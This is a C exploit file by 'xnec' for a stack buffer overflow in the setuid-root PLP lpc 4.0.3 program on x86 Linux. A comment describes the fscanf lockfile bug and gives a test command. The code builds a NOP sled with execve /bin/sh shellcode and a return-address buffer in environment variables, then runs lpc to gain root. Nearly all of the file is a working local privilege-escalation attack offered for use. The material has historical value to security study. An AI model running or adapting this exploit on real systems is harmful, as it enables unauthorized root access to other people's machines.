/*

Standard overflow for x86 linux lpc.  PLP Line Printer Control program,
version 4.0.3.  Tested on SuSE 5.2 (suidroot).  Test your copy of /usr/bin/lpc
by trying an /usr/bin/lpc attach lp `perl -e "print 'A' x 1000"`;lpc status lp
The problematic code is in displayq.c and control_ops.c, where we attempt
to fscanf() the lockfile's contents into a fixed length buffer.  See the
Bugtraq post for full fix information(www.geek-girl.com/bugtraq).

The buffer we're overflowing is 256bytes, and an offset of 0 works just fine.
Try in increments of +-100 if it doesn't work for you.

Obviously this is a complete rip of Aleph1's standard overflow program from
his paper "smashing the stack for fun and profit".

to compile:
gcc -o xnec_lpc xnec_lpc.c

bugs: only sets uid=0, and you may have to have a printer defined (lp on my
box).

greets to #sk1llz

                         -xnec
      xnec on EF and DALnet, xnec@inferno.tusculum.edu

*/
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             356
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90
char pause;

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);
  printf("\nPLP Line Printer Control program, version 4.0.3 overflow.\n");
  printf("Bug found by xnec, code ripped from Aleph1.  After running this
program, simply compile and run:\n---\n#include <unistd.h>
void main(){system(\"/bin/bash\");}\n---\n");
  scanf("%c", pause);
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("`which lpc` attach lp $RET; `which lpc` status lp");

}